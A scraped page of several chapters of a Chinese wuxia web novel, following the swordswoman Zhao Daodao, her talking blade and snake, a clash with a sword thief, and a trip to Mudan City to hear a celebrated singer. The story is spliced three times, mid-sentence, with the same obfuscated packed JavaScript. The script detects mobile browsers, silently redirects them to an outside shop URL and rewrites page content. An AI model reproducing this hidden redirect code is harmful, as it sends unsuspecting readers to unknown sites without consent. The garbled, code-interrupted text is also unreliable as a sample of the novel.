她不知道把刀当作朋友行不行。但她也没有别的好东西了。 直到那个晚上,突然有一个声音喊她,“赵刀刀?” 她惊得摔在地上。 那之后赵刀刀就有了朋友。 很长一段时间练功的时候因为总想着刀,反而难以控制力度。 没人告诉她,太想要的东西,就算得到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063175|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也会患得患失的。 赵刀刀也是从黑刀会说话那会儿开始经常发呆的。 早上醒来的时候,她总是分不清过去和现在,然后空落落地盯着房顶,直到刀子精出声才反应过来。 在山上又待了很久。 她有的不只是一把刀,这个念头渐渐刻在了她心里。 很多人听到动静赶来了。 看到的,就是赵刀刀和黑衣人对峙的场面。 她手中的刀锋横在那人的脖颈,那人的剑尖亦直指她的心口。 看上去势均力敌。 只是有一点不同—— 赵刀刀不在意那把危险的剑,但黑衣人在乎那把要命的刀。 “恩人没事吧?!”唐雪惊呼着跑进来。 看到赵刀刀完好无损,她安抚自己,呼出一口气,“没事就好没事就好。” 周向晚也进来了,好声好气地劝他们都先把兵器放下。 赵刀刀没有放下刀。 赵刀刀很生气。 这不是她第一次遇到偷刀贼。 但每一次,她都非常生气。 她问,“你叫什么?” 既已被抓了个正着,黑衣人也没有说谎的必要了。反正今晚之后,唐家必然能查到他。 他揭下面巾。 “齐阔。” 多的却不肯再说。 赵刀刀眯了眯眼,质问道,“为什么偷我的刀?” 齐阔没有回答。 周围也很安静。 围了那么多唐家弟子,那么多双眼睛都在看着她。 唐雪也殷切地看着她。周向晚欲言又止。 他们是在怕齐阔伤了她,还是怕她伤了齐阔? 但赵刀刀此刻不想去思考这些无关紧要的事,她只想知道齐阔的目的和理由。 齐阔先收剑了。 她抿了抿唇,收回了刀。 又问,“所以,你是来偷刀的吗?” 齐阔还是没有回答。 她嘲弄道,“你信不信,就算我把刀放在这里,你也未必能轻易拿走?” 齐阔的神色终于动了,那是不信的眼神。 不过他也只是直直盯着那把刀,从刚才起,他就一直没有看赵刀刀。 那是一种有意为之的忽视。 赵刀刀倒是仔细地看着他。 她忽然起来,她见过这样的眼神。 在山上的师兄师姐眼中,在那些嘲笑她只是运气好没有实力的弟子眼中。 她们怕她,恨她,妒她,却又拿她无可奈何。就把她当作空气。 这就是那样的眼神。 赵刀刀眯了眯眼,又想起来一件事——“我见过你。” 这回齐阔倒没继续沉默,他只是对周围的人说,“今晚的事,我会给唐堡主一个交代的。” 他还是没有看赵刀刀,也没有道歉。 现在的偷刀贼真是一个比一个不讲礼貌,赵刀刀心想。 周围的人又看向赵刀刀。满眼都是希望她大人有大量的期待。 “……” 赵刀刀冷笑一声,死盯着齐阔,像是要刻印下他的相貌,恨恨道,“姓齐的,你最从现在开始每天祈祷——别再让我遇见你。” 然后转身挥挥手。 众弟子不再堵门,“齐公子,请吧。” 齐阔冷哼一声,愤然离去。 “?” 赵刀刀忍一时越想越气。 正要出去拦他,却被唐雪拦住了。 唐雪说,“恩人,别去管他了,时候不早了,明天就要出发,回去先休息吧,不要为了这些不值的事动气啦。” 周向晚用扇子半遮着脸小声说,“你不知道他是谁吧,他可是当今剑宗门下弟子,你可别为了这点事惹个大麻烦。” 刀子精也劝她,“他没得手,别为了这种人发这么大的火。” 可是偷别人的东西,难道这么容易就能被原谅吗。 她想不明白。 她明白的。 一切都是从齐阔报出自己的名字开始的。 “唉。”赵刀刀轻叹一声,“行啦,我不气了,你们也回去休息吧。” “啊,那……恩人早些歇息。” 她装作看不出唐雪想要多留的意思,送她和周向晚出去。 赵刀刀关上门。 咬牙切齿地想,要是她再遇到那小子,她就揍他,就是他师父在也不管用! 11. 软柿子 一觉起来,心中的气愤平复很多。 天高气清,风和日丽,正适合出发。 唐家堡的老管家再次清点一遍行李,没有遗漏,就恭敬地立在一旁。 唐雪近几年一直在水城和唐家堡待着,还没出过什么远门,与其说是游历,这时候的心情更像是要出去游玩。 反正她不久就会回来的。 出来送行的弟子也不多,唐家堡事务一如往常,场面并不伤感。 准备的马车停在唐家堡门外。 那马车毫不起眼,只看着比寻常马车宽了些,实则内里空间宽阔,可以轻松坐下四人而不挤。车顶也高一些,顶子四角垂下有檐,檐下垂着吊饰,车一起步便会碰撞发出轻响,清雅动听。车轮有大有小,外面套着铜箍,行路平稳,趟淤泥而不粘。马车三面有窗,车内有暗格无数,楠木矮桌,丝绸坐垫,茶水点心,应有尽有。 就连拉车的两匹骏马,都系着三寸刻字铜铃,是精挑细选日行千里的良驹。 唐堡主还在与唐雪叮嘱,赵刀刀和周向晚跟老管家说一声行过礼后到车旁掀开车帘看了眼。 “……” 赵刀刀默默地放下车帘。 “大户人家。”周向晚摇着扇子感慨,“果真是大户人家。” 车饰把车内装点的很精致,彩席软榻的布料光滑柔软,泛着柔和的光。 光是看着都觉得舒适。 还真不像是出去游历的。 父女俩说完话了,唐雪轻快地走过来,他们一行准备好,马夫也上来,再无其他人,就离开了唐家堡。 这次出行要去到柳城,最近的路也要经过三座城。 分别是牡丹、佩城和望月城。 早上出发,加快些行车,赶第二天傍晚就可以到牡丹城边陲的小城了。 路程并不无聊。 唐雪在路上又进一步走近了恩人。 她知道了赵刀刀不会下棋,可惜软磨硬泡半天也没当成师父,铩羽而归。 赵刀刀不想学,她只喜欢看别人下着玩。 知道了赵刀刀那把黑刀有个和煞气的外表并不相符的名字,叫赵小刀,据恩人说一开始是想起个好听名字的,可惜中途又换了念头。 还知道了周向晚与恩人相处的时间也不过只比她多了半天而已,实在不足为惧。 唐雪问起黑刀名字,赵刀刀这才想起来她还有一条会说话的小蛇盘踞手腕。 自从她上了船,到水城这一路青蛇一个字也没说过,她都快忘了,这会儿想起来轻轻撩起袖子,看到还在终于安心。 青蛇在白皙的手腕上绕成玉镯,比起竹子的正直气节,它更柔软,更温润,赵刀刀还是想叫它赵小蛇。她点了点蛇头,没有动静,好能睡。 赵刀刀的动作并不隐蔽,唐雪问,“恩人手腕怎么了?伤了吗?” 闻言她朝唐雪看去,又低头看了看手腕,摇头道,“没什么,没有受伤。”她盖下衣袖。 只有她能看到么?不,赵小刀也听到青蛇说话了,赵刀刀打算等没人了再问问竹子怎么回事。 车里吃着点心闲聊,时间也过得很快。 赶晚上走到大路,投宿一晚,第二天一早又很快上路。 马车上。 唐雪问过父亲,她知道这一路行程未定,只一定要先去趟柳州,很是好奇,问,“恩人为什么一定要去柳城啊?” 赵刀刀坐靠着车厢整了整垫子,昨晚的住处店小床硬,远没有马车坐着舒服,她没睡好,这会儿晃着晃着困意上头,愣了下答道,“我要帮人送个东西。” 唐雪好奇地看着她。出行在外,唐雪的发饰简洁了些,出发前她和她爹说了不要带侍女,这一路上一切都自己来,还有些新鲜,就是一头长发有些难办,得亏她自小就有一双巧手,随手梳的发髻都很时新漂亮。 她问,“方便说是什么吗?” 周向晚坐在角落闷声擦扇子,他眼下乌青,显然也是没有睡好。 赵刀刀想了想,斜着头说,“到柳州你自然会知道的。” 唐雪便不再继续追问。又说,“恩人知道牡丹城吗?” 赵刀刀已经开始闭目养神了,闻言微微抬眸,“不知道。” 反正总会知道的。 她现在更好奇柳州到底有什么。 她记得她提到柳州时唐堡主的眼神,他盯着她看了会儿,想说什么,可最后还是什么都没说。也不像是要阻止,只是沉默的很微妙。 还是说,去柳州的路上有什么呢。 赵刀刀想不明白。 但是也再没别人表现出奇怪了,估计是她想太多。 唐雪接着给她讲,“牡丹城可是盛产美人儿的宝地。” 周向晚擦扇子的手抖了下。 “……”奇怪的特产。赵刀刀问,“为什么?” “因为牡丹城是戏院和歌坊最多的地方了。”唐雪见她感兴趣,坐近了些,“听说那里出过天下第一的美女。” 赵刀刀看了看唐雪,又看了看自己的刀,问,“这也能排吗?”她以为只有武功这种东西能分出高下。 “那当然了,只是别的城未必认而已。” “……哦。” “不过每个城都有自己的第一啦。就像佩城的铸剑之术,望月城的峻峭风景……”唐雪停了停,颇有几分自豪地说,“还有唐家堡的暗器功夫,都是闻名天下的。” “厉害的。”赵刀刀想,要是愿意排,说不定唐家堡的富贵也能排上号呢。她问,“除了这三个,其他几座城呢?” 唐雪想了想,“倒没听过太多有意思的了,唐家在武洲边缘,就是为了少入纠纷之地,内城的事鲜少传到外面,近几年也没有什么惊动天下的大事,而且……我在家的时候也没太在意这些。” 她的脸有些烧。 最后一句倒是真话。 唐雪不好意思说自己在家里总是顾着看话本了,她当时也没想着会有离家的一天,外面的事就是硬讲给她,她也无心去听的。早知有今日,她非得读出个上知天文,下知地理不可。 赵刀刀歪着头问,“没关系吗?” “什么?” “听你说,这些内城好像都很闭塞,我们可以随便进城吗?” 唐雪笑着说,“这个不用担心啦,又不是去做坏事,而且唐家在这些地方也有住处的。” “……”赵刀刀低声自语,“是我多想了。” 周向晚闭眼听着笑了笑。 天色渐晚。 唐雪只说了一半,事实上,牡丹城不但盛产美人,也盛产富商。 城边的镇子受其影响,商户众多,也算够得上富庶二字。 街道上的铺面小而密集,大店多迁入城内,家家户户都紧挨着,很是热闹。 赵刀刀一行人进了牡丹城北城边的镇子歇脚。 从这里走到牡丹城也不过一天时间,已经很近了。 不过,赵刀刀是真没想到在这里还能听到自己的名号。 就是传言越过距离,也转了几道弯儿,和最初的不太一样了。赵刀刀被传成了隐世门派的弟子,和唐家堡渊源颇深,还是个清瘦面白的俊俏少侠。 “……” 赵刀刀眼皮一跳,真委婉啊,就差直接说她是个小白脸儿了。 她们这时候刚吃过晚饭,趁着晚风出来。 这里戏楼众多,就连说书的也像是在唱戏,咿咿呀呀的语调婉转,表情丰富,配着曲折的故事就更加吸引人了。 周向晚安慰她,“说书人就是这样的,别在意。” 她点点头。 说话间,有个小孩突然冒出来,迎面朝他们跑来,唐雪正朝一处小摊走去,眼看就要撞到一起——赵刀刀跨一步伸手把她揽过来,错开身位便放下手,小孩擦着边儿跑远了。 赵刀刀转身看,低声道,“这街上人来人往,他不要命了。” 周向晚也赞同,他摇摇扇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063176|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,说,“他要是撞到你刀上,说不定还真就没了。” 赵刀刀白他一眼。周向晚讪讪地笑了下。 唐雪抓着赵刀刀的袖子,又感动了。 话本诚不欺她。 “恩人……” 刚出声,又有一伙人跑来,向着那个小孩的方向追赶而去。嘴里大声叫嚷着,看起来凶神恶煞的。 赵刀刀看了他俩一眼,唐雪对摊子物件儿的兴趣远不如这个,两眼放光地看着她,周向晚只是摇扇不语。 “……”赵刀刀无奈地说,“走吧,过去看看。” 沿着那方向过去,远远的就听到巷尾传来的呼喊声。 “什么赵不赵的,在这里老子最大。敢瞧不起我家少爷,你小子长能耐了是吧?真以为自己以后能成个什么大人物?” 还有小孩的嚎啕哭声。 往来的人远远看一眼,见是袁家的家丁,也没有上前多管闲事。 赵刀刀她们走近了瞧。 那小孩已经被打的流鼻血了,倒在地上,嘴里只发出呜呜的声音,就是不肯服软。 为首的家丁看他死不悔改,咒骂两句,就要亮出武器,他刚抽出半截剑——一枚飞镖被掷到他身旁的铁杆上,发出清脆的撞击声,嵌在铁杆上。 “谁?!” 是唐雪。 那人被飞镖惊退一步。 唐雪出声问,“这么小的孩子,你们为什么打他?” “老子想打他还需要理由?他顶撞我家少爷难道不该打?”那家丁转身问,“你是什么人,袁家的家事也敢多管?” 唐雪笑了,走近几步,“袁家是什么东西,本小姐不找你们的麻烦都算你们走运了。” 那人正要过来算账,身边的人认出了那枚暗器,拦住他,“……唐家?大……大哥,这是唐家的东西!” 几人面面相觑,最后果断决定,“走!” 为首的家丁最后还撂下狠话,“下次再乱说话,你可没这样的好运气了,臭小子!” 跑得倒是很快。 唐雪走上前,蹲下问那个小孩,“他们为什么打你?” 那小孩擦了擦脸上的泪和血,爬起来,“你谁啊,我干嘛告诉你!” “……” 真有骨气。 赵刀刀和周向晚也走近了些。 铁杆上的飞镖不见了,唐雪食指中指间不知何时夹着一枚飞镖,看着那小孩晃了晃手道,“我救了你你不感激就罢了,还这么不讲理!” 小孩擦擦脸,好汉不吃眼前亏!他低着头软下语气,“是……是袁少爷自以为是,他学了一招半式就横行霸道,我就是说他不如赵少侠而已。” 唐雪好奇问,“你说的赵少侠是谁啊?” 那小孩看向她,“连赵刀刀赵少侠你都不知道?” “……” 赵少侠沉默了。 唐雪眼睛亮亮地看向她,赵刀刀摸了摸鼻子问,清了下嗓,问,“你打不过,为什么还要招惹他们?” 那小孩很不服气,“你懂什么?你知道赵刀刀吗?”他挺了挺自己弱小的胸膛,“我以后也要成为赵少侠那样的人,在唐家擂台上扬名立万!” 唐雪和周向晚都忍不住笑了。 “……”赵刀刀轻咳两声,无奈道,“知道啊……我就是。” 那小孩满脸惊诧。 他抬头看向赵刀刀,终于看见了那把黑刀。 “你……你骗我!你们这群骗子!赵少侠明明是个男的!你怎么可能是!我不信!” 说完竟撒腿跑了。 “……” 周向晚笑着调侃,“赵少侠真是声名远扬,百里之外也不缺追随者,失敬失敬。” 赵刀刀也笑了,“周向晚,我找个时候就拆了你那把扇子。” “……”周向晚立刻闭嘴,讨好道,“说笑,说笑的。” 唐雪掩着嘴,眼睛弯弯的,说,“走吧,天马上要黑了。” 12. 思虑 牡丹城, 第二天中午前便进了牡丹城。 城如其名。 牡丹城的街景也是花花绿绿,鲜艳明亮的布料把整条街都点缀的绚丽多彩。 花店,饰品店,布料店挤满了人,往来的女子比男人更多。 街上的姑娘清一水儿的面若桃花,婀娜多姿,这里的确是个不缺美人的地方。 赵刀刀坐在车上就听到街上丁丁当当的玉器首饰碰撞声,或许是今年牡丹城盛玉器之风,家家店都上了玉镯玉簪各类玉器售卖,赵刀刀看向窗外,碧玉温润清凉,让她想起了自己的那条懒蛇。 竹子实在是懒得出奇,一直睡觉,一言不发,她拿它没有办法,只能硬等着它睡醒。 到客栈。 刚放下东西。 唐雪说是有惊喜要给赵刀刀,下车后没有多待就兴冲冲地出去了。 赵刀刀在屋内坐下。 把青蛇放在桌上摆成一条直线,用指尖敲了敲。 “真睡了这么久?懒虫。” 破天荒的,青蛇居然动了动,醒来了。 “……”哇。 青蛇又在桌上绕成一圈,盘成个大号的玉镯子,问,“你到牡丹城了?” 神了。赵刀刀惊讶道,“难道你没睡觉,一直在偷听?” “……没有。”青蛇说,“这里有种熟悉的味道。” 赵刀刀有几分兴趣,问,“连这你都能分辨,你来过牡丹城?”又好奇道,“你还有什么本事?说来听听。” 青蛇想了想,沉默了。 它吐着信子爬到赵刀刀的手旁边,攀上手掌,声音稚嫩如不谙世事的孩童,“只会说话不行吗,我看你那把刀也是只会说话而已?他可以我就不行?” “……” 赵刀刀一时竟无言以对。 刀子精冷笑出声,“一条只会说话的破蛇,要你何用。” 青蛇毫不客气,说,“我比你好看。” “你能护身吗?” “我比你好看!” “……” 赵刀刀扶额,真是一个比一个能言善辩啊。 她打断道,“按你所说,牡丹城有什么味道?” 青蛇淡淡道,“脂粉味。” 赵刀刀笑了,“哪座城没有脂粉店,这也能区分一二?” 青蛇竟自信的点了点头,“若说十一城中最假的地方,就是这座城了。” “什么?” 赵刀刀还没有问完,唐雪敲门了。“进。” 唐雪带着笑意进来,“恩人,快走吧。” “去哪儿?”赵刀刀蜷起手掌,竹子却爬走了,盘在桌子另一边,她没有强求,收回手。 “一路上都没吃过什么好菜,现在正好去吃饭,然后就是我跟你说的那个惊喜了。”唐雪过来拉住赵刀刀的胳膊,催促道,“快走吧,不然要赶不及啦。” “欸。”赵刀刀正想去拿刀。 唐雪按住了她的手。 “嗯?” “恩人,那酒楼的规矩怪得很,这样显眼的兵器是带不进去的。” “……” 赵刀刀想到了唐雪的暗器和周向晚的扇子,想必这两样带进去就毫无阻拦,或许她也该有件好藏的兵器……要是黑刀能变小就好了。 唐雪又催促道,“快走吧。” “哦。” 唐雪拉着她出去了。 到地方周向晚已经独自待了有一会儿了。 起身迎她们坐下,带着笑恭维道,“多亏了唐大小姐,我们才有机会目睹这第一美人的芳容啊。” 赵刀刀满头雾水,“什么?” 唐雪抱怨道,“你嘴怎么这么快,我还想藏着惊喜呢。” 周向晚拿着扇子一拱手,道,“是我的不对,在下赔不是了,唐大小姐莫要生气。” 唐雪轻哼一声应了。 她示意小二可以慢慢上菜了,解释说,“恩人,这里可是牡丹城最好的酒楼,也就是这里,有全牡丹城最地道的美食,最香醇的美酒,最精彩的戏台,还出了牡丹城里那个天下第一的美人儿。” 他们在二楼,正对着戏台,如唐雪所说,赵刀刀就是没来过这种地方,也知道他们坐着的位子千金难求。 赵刀刀对唐家堡的富贵和慷慨又有了新认识,她起身看向楼下,“这里?” 一看才发现每桌都坐满了人,大多是年轻的公子小姐,穿着讲究贵气逼人,偶尔会朝着中心的高台看一眼。或许他们也是为了第一美人而来,但脸上却丝毫没有急躁的神情,仿佛已经等了千万次,只是出于习惯坐在这里,即使人不来,也会继续等下去,淡泊自若,很能自持。 台上与大厅被青纱缦帐隔开,舞台上立着又宽又高的红木刺绣屏风,上面绣着牡丹蝴蝶,绣娘的技艺出神入化,花与蝶皆栩栩如生,牡丹艳而不妖,贵气逼人,似有香气溢出。大厅四处装点着鲜花玉瓶,大小不一,高低错落,红木雕花柱子被擦得发亮,衬着绿叶青枝,生机勃勃。 刀剑与这酒楼确实是不相配的。 “是。”唐雪回答她的话,“我来之前问过唐二了,他上次来的时候就没有遇上,回来连着抱怨了好几天。他说这千凤楼的东家实在是个随性至极的角色,一月最多也只有一天会让这美人出来表演,而且毫无规律可循,我们今天能不能等到,还得看运气呢。” 赵刀刀问,“什么表演?” “啊,我没和你说吗,这第一美人,可是个优伶,听说她嗓子极好,高低宽窄什么都唱的来,曾经一曲名动武洲。” 赵刀刀坐下,感慨道,“真厉害。你的运气一向很好,我们今天肯定能等到。” 唐雪骄傲道,“那可不,我们今天刚到这,千凤楼就放出了今天要开戏的消息,这里一座难求,我们到的时候又快要中午了,我可是费了不少功夫才订到这桌,怎么也得见上一面吧。” 赵刀刀认真的点头,直直看着唐雪,“辛苦了。” 唐雪转开了脸,摆着手低声说,“不辛苦不辛苦。” 赵刀刀又问,“要等很久吗,我看底下的人没那么急,这会儿楼下还有人进来。” 唐雪又高兴地与她解释,“恩人,你不知道,这酒楼规矩实在是多,唐二说的时候我还不信,结果比传闻还麻烦!这里午时之前要是还没落座,就只能吃饭看不了表演了,有些人不清楚,这会儿才闻讯赶来,已经错过时间了。” 赵刀刀一时惭愧,跟着唐雪真是长见识,她还没见过这样厉害的酒楼,“真是好大的排场。” 唐雪认同道,“可不是,据说戏台开了之后,这酒楼就只出不进了。” 菜已上了一桌。 赵刀刀拿起筷子,看着唐雪。 唐雪羞涩一笑,“咱们先吃吧。” 饭菜于赵刀刀来说只有好吃与难吃两种味道,唐家堡是好吃,山上是经常难吃,偶尔好吃,但她今天才发现自己还是见识太少,从来不知,原来饭菜也能做到这样登峰造极的地步。 菜香浓郁,色泽鲜美,口感爽滑,咸鲜可口。 摆盘别致灵动,火候恰到好处。 吃下第一口便能理解为什么无数人千金散尽都要来此一游,为什么在牡丹城,千凤楼是个比赌坊还要热闹百倍的销金窟。 赵刀刀细嚼慢咽,吃的很慢,虽然第一口下去就再也不会忘了这味道,她还是竭力让每种味道在口腔中留得更久一些。 酒足饭饱,空盘撤下。 戏台上不知道什么时候坠下了白色的轻纱。 周向晚已经靠在栏杆边的柱子上了。 唐雪示意她起身。 赵刀刀刚欲出声—— “雄雉于飞,泄泄其羽。我之怀矣,自诒伊阻。” 整个酒楼寂静无声,只有婉转柔美的声音从那大厅的屏风后传来。 不知道谁说了一声,“她来了!” 厅堂霎时响起了连绵不绝的呼声。 “凤姑娘!!” “凤美人!” 每个人都在呼唤她。 这里光是饭菜就已经让人流连,更何况,这里还有美人。 错过的人也只能在酒楼外捶胸顿足,但到下个月还早的很呢。 轻纱被风吹动了。 赵刀刀不着调地想,有很多美人,见面不如闻名,不知道这位在不在此列。 她扶着栏杆,忽然间,好像听到屏风后传来了一声轻笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063177|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她耳力过人,站在二楼都听的清晰,那声音在耳边响起的同时,赵刀刀耳朵麻了一下,忍不住抬手揉了揉耳朵。 那美人莲步轻移,终于出现。 她红唇微张,脸上的笑容勾魂夺魄。 她一笑,连尖叫声也在那绝世的容颜中卡在喉咙里出不来了。 那是一种无法用语言描述的美。 “雄雉于飞,下上其音。展矣君子,实劳我心。” 她接着唱。 “瞻彼日月,悠悠我思。道之云远,曷云能来?” 那不是一枝牡丹,那分明是一株毒花。 这是个无一处不美的美人。 她整个人仿佛都带着一种毒气,她的一颦一笑,眉宇间的哀愁,眼尾的红痣,嘴角勾起的弧度,袖子下若隐若现的指尖,都牵动着人心。 只要你看她一眼,就再难挪开。 尤其,她还穿着一身红衣,恐怕这世上所有的新娘都不会比她更美。 尤其,她还唱着一首思念的曲。 谁不想被她思念牵挂。 赵刀刀看着台上那道身影。 她看呆了。 她第一次发现,原来,声音和容颜也可以成为宝物,令人想要据为己有。 她想起了自己的刀。 而同一时刻,客栈内。 赵小刀疼痛难忍。 房里有一把黑刀,还有一条青蛇。 赵刀刀看到这条青蛇的时候只觉得这是一条有点特殊的小蛇,毕竟她摸也摸得到,看也看得到,还能说上两句,况且这蛇甚至没有寻常蛇类的冷血无情,实在是个温顺灵动的可爱动物。 但事实上,只算人的话,也只有赵刀刀能看到它了。 而此时的青蛇丝毫不像一条蛇,它成了一团青绿色的光,绿色的光里能勉强看出它细长的身形,边缘却模糊不清。 青蛇原本在桌上,赵刀刀走后,它的黑眼珠就盯着那把黑刀。 它吐着红色的信子,声音稚嫩清脆,话中却带着恶意,像是嫌弃一般说,“你只会说话,连动都不会动,真是一把废物的刀。” 刀子精冷笑一声,没有回它。 刀是不需要动的,一把刀只要足够锋利,足够顺手就行了。 那条细细的小蛇悠悠地爬下桌子靠近了刀,它的尾尖儿碰到刀尖。 刀子精看着它奇怪的举动,沉声问,“你是谁?为什么跟着她?” 青蛇忽然有股少年老成的感觉,它慢悠悠地说,“就像你只是赵小刀,我也只是竹子。” 刀子精哑然。 他意识到自己能看到周围时刚到赵刀刀手中。他陪着赵刀刀学武,练刀,在山上过了十年。 他几乎参与了赵刀刀的所有事,赵刀刀于他没有任何秘密。 而他的声音也只有赵刀刀能听到。 正如赵刀刀所说,他们是这世上最宝贵的朋友。 他们无话不谈。只除了一件事——他的过去。 只有他自己知道,他没有过去。 幸而他从来都不在乎自己有什么过去,只是赵小刀,也没什么不好。 但青蛇的尾尖碰到黑刀那一刻开始。 刀子精,也就是赵小刀,忽然有股奇怪的感觉。 这种感觉越演愈烈,竟然变成了疼痛。 他明明只是一把刀,一把刀是不会痛的。 他能“看到”、“听到”,却绝不会“感到”什么。 可那疼痛却仿佛深入到五脏六腑,撕心裂肺,无一处不痛。 黑刀震颤着倒在了地上。 这已是他能做到的所有。 世上除了赵刀刀,再无人能听到他的声音,而赵刀刀不在此处。 或许他也没有呼痛。 不知道过了多久,痛意来的猝不及防,消失的却悄然无踪。赵小刀没空缓和,他早已失去感知。 赵刀刀进来看到的就是这一幕。 “小刀?怎么倒了?蛇怎么在这?” 她把刀和蛇拿起来。 青蛇蔫蔫儿的,耷拉在手上。 “又要睡了?” 赵刀刀心说,怎么这傻东西一会儿不见,好像变得更傻了? 13. 庄园 赵刀刀的脑海里还反复回放着刚刚的美人。 那景色和声音恐怕要绕梁不绝了。 没有人能轻易忘记那样的场景,多的是人希望那样的容颜永远刻在脑中才好。 她还记得表演结束后被扔满戏台的金银首饰,鲜花玉石,绫罗锦缎,原来那些铺子生意红火,也是因为这位美人。 繁华盛大的高台之上,金银玉石的光彩晃人眼目,却不及她眼波流转的一分。 “唉。” 她感叹道,“小刀啊,你是不知道,原来这世上真有那样的美人。” 她挠挠头,“怎么说呢,你知道吗,她真的太美了,唱歌也好听,人又长得好。如果我是个有钱人怕是也愿意千金博她一笑的。” 赵刀刀这才感觉不太对劲儿。 “欸?赵小刀?” 还是没有回应。 “你怎么又不打招呼就睡了,”赵刀刀趴在桌上嘟囔,“该不会从我出去就偷偷睡着了吧,真是不讲义气。明明说好了的……” 那些快乐无人分享,她只好自己欣赏回忆了。 赵刀刀撑着头,看着靠在墙边的黑刀,闭目静思片刻,忽然站起来——她想练刀了。 刚拿起刀,又响起了“咚咚”的敲门声。 “……”来的可真是时候。 “哪位。”赵刀刀走过去开门。 屋外站着个不认识的男人,身后跟着两个身强力壮的家丁,他穿着一身黑衫,嘴角勾起的弧度像是练过千百次一样完美,让人不感到唐突却也不会过分亲近。 即使看到赵刀刀拎着一把刀开门,神色也没有半分变化。 他拱手道,“赵姑娘,在下是白府的管家姜容。家主昨日就收到了唐堡主的信,叮嘱等赵姑娘一行来了牡丹城一定要好好招待,进城之后因着唐大小姐已先行定下了一些行程,加之近日事务繁忙未能及时赶来迎接,实属失礼,现在马车已经备下了,周少侠和唐小姐正在楼下等您。” 他目光恭敬,笑着问,“您还有什么吩咐吗,要是没有的话——烦请先下楼吧。” 赵刀刀摇摇头。“我没什么需要的。” 姜容又问,“您的行李?他们可以帮您收拾。”他指的是身后两个壮汉。 赵刀刀说,“不用,我行李不多,都在过来的马车上。” 姜容笑了笑,抬手示意,“那就请吧。” 赵刀刀看了看他,回头扫视屋内,刀在手中,蛇在腕上,没别的东西要拿了。 她颔首道,“走吧。” 没有坐白府准备的马车,她还是上了唐家的那辆。周向晚和唐雪也在里面坐着。 姜容也什么都没说,看她上车坐好便端着笑着走开,上马带路了。 唐雪坐在马车内,手里拿了片红绸摆弄,上面绣着一朵白色的牡丹在角落。 赵刀刀问,“这是什么?” 唐雪兴奋道,“听说是那个凤姑娘在台上用过的手绢,我只花了不到百两银子就买到了!”满脸都是“快夸我”的神情。 “……” 赵刀刀觉得唐雪要是一人出来游历,说不准最后能成就个“大善人”的美名,也算是功德圆满。她平淡地夸奖道,“厉害了。” 唐雪道伸手递过来,“恩人要是喜欢,那我就送给恩人。” 赵刀刀从唐雪手中接过手绢,那面料竟然和看起来不同,触手顺滑冰凉,牡丹虽小,却绣的精致灵动,或许百两银子……也还算值? 她不知道怎么衡量这些东西的价值。之前买那身蓝衣服也是在周忌的推荐下再自己挑挑选选,虽然喜欢,听到价格还是忍不住心中滴血,不知道为什么周忌好像总觉得她不缺钱的样子,他要是知道自己买一件衣服就花光了身上所有的钱,估计这朋友是要做不成了。 她将手绢还回去。“你喜欢就留着吧,我拿了也用不到的。” 唐雪有些沮丧,小声道,“那就是不喜欢了。” 赵刀刀无奈地笑了笑,“我要用的话可以找你拿。”见唐雪收回就不再多说,问,“这白家又是哪家?” “啊,”唐雪情绪来的快去得更快,脸上又冒出喜色了,她笑着说,“就是牡丹城的城主一家。” 暮色透过窗子照在她的脸上,勾勒出她的侧脸,为唐雪增添了几分颜色。 赵刀刀很少注意别人的长相。原来倒是有不知道哪儿来的传言说她是以色侍人才被楚天师收作弟子,但她不瞎,山上比她好看的又不是没有,为了找茬连这种话的编得出,那帮人属实闲的没边儿。她当时就觉得长得好看又如何,还不如嘴皮子利索有用,若是加上不要脸,威力更甚。 但今天她却不再这样想了。 她刚才忽然发现,其实唐雪也是个很讨人喜欢的姑娘,而且她整天笑嘻嘻的,有时候这笑看着比那第一美人的还要生动些。 嗯,赵刀刀在心中默默肯定自己,四舍五入,她也有美人朋友了。 周向晚就坐在一旁听她们说,安安静静坐在轿子里,他酒足饭饱,这会儿跟着马车晃悠,很能自得其乐。 赵刀刀继续问,“唐堡主给城主写信了吗?” “是啊。” “真好。” “不是为了我哦。” “那是为了谁?” 唐雪弯着眼睛看着她,“为了你啊。” “嗯?” “我听父亲说你刀意初成,还有很长的路要走,而且你寻的道与我不同,多见一些高手总是没有坏处的。他说,到了牡丹城之后,跟你一起去找牡丹城的城主就行了。”她回想着,“对了!我爹说这儿的城主可是当年排名第九的高手,他说你会想见的。” “当年?” “嗯,不知道为什么,从十几年前开始他就没有出现在世人面前了,听说只有在城主府才能见到他。或许是个不慕虚名的大侠吧。” 赵刀刀的心忽然静下来了,她眨了眨眼,说,“你以后回去了,帮我给唐堡主带一声‘多谢’吧。” 